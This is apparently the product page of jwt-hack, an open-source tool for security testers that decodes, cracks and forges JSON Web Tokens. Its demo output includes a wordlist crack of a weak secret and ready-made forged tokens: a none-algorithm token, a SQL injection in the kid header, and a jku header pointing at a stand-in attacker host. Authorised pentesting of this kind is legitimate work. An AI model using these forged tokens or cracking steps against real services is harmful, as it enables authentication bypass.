v2.6
JWKS spoofing and key rotation checks
Break and harden
Break and harden
JSON Web Tokens.
One Rust binary to decode, forge, crack, and scan JWT and JWE tokens. Built for pentesters, bug hunters, and anyone who has to sign off on an auth flow.
$
Quick start
cargo install jwt-hack
$ jwt-hack scan eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
▎ RESULTS ────────────────────────────
✓ PASS None Algorithm Token does not use 'none' algorithm
✓ PASS Algorithm Confusion Symmetric algorithm
✓ PASS Kid Header No 'kid' header
✓ PASS JKU/X5U Header No JKU/X5U headers
... 11 more checks
▲ CRIT Weak Secret Uses weak secret: 'test'
◆ MED Token Expiration Missing 'exp', 'nbf'
■ LOW Missing Claims Missing recommended claims: aud, iss, jti
3 vulnerabilities found: 1 critical, 1 medium, 1 low
$ jwt-hack crack -w samples/wordlist.txt eyJ0eXAiOiJKV1Qi...
████████████████████████ 19/19
✓ Secret found
Secret test
Time 0 seconds (25460.64 keys/sec)
Token eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0...
$ jwt-hack crack -m brute --preset aZ19 --max 6 --power <token>
$ jwt-hack decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
▎ DECODE ─────────────────────────────
Algorithm HS256
Type JWT
▎ Payload
{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022,
"iat_time": "2018-01-18 01:30:22 UTC"
}
$ jwt-hack payload <token> --target none,kid_sql,jku --jwk-attack evil.example
▎ None Algorithm (NONE)
eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0In0.
▎ kid SQL Injection
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IicgT1IgJzEnPScxIn0.eyJzdWIiOiIxMjM0In0
▎ jku Header Injection
eyJhbGciOiJIUzI1NiIsImprdSI6Imh0dHBzOi8vZXZpbC5leGFtcGxlIn0.eyJzdWIiOiIxMjM0In0
34 payload targets, pick any with --target
11commands
34payload targets
16scanner checks
--jsonon every command
Commands
Recon, attack, and report without switching tools.
Each step of a JWT assessment is a subcommand. They share flags, config, and output format, so the result of one feeds the next.
01Inspect
decodeHeader, claims, timestamps. Handles JWE and DEFLATE.
verifyCheck a signature with a secret or PEM key, optionally exp.
scanRun every check at once and export a JSON or HTML report.
02Attack
crackDictionary, brute force, or targeted kid/jti guessing.
payloadnone-alg, alg confusion, kid injection, jku/x5u, claim tampering.
jwksFetch, spoof, and test key sets. Find stale keys after rotation.
Coverage
The algorithms your targets actually run.
Signing
HS256HS384HS512
RS256RS384RS512
PS256PS384PS512
ES256ES384ES512
EdDSAnone
Key management
dirRSA-OAEPRSA-OAEP-256
ECDH-ESECDH-ES+A128KWECDH-ES+A256KW
A128KWA256KW
Content encryption
A128GCMA256GCM
Formats
JWTJWE
JWKSDEFLATE (zip)PEM
Install
Pick a package manager.
Every channel ships the same single binary. No runtime, no config needed to start.
All install options →cargo
cargo install jwt-hackbrew
brew install jwt-hacksnap
sudo snap install jwt-hackchoco
choco install jwt-hackdocker
docker pull ghcr.io/hahwul/jwt-hack:latestOpen source, MIT licensed.
Found an attack jwt-hack doesn't cover yet? Open an issue or send a pull request.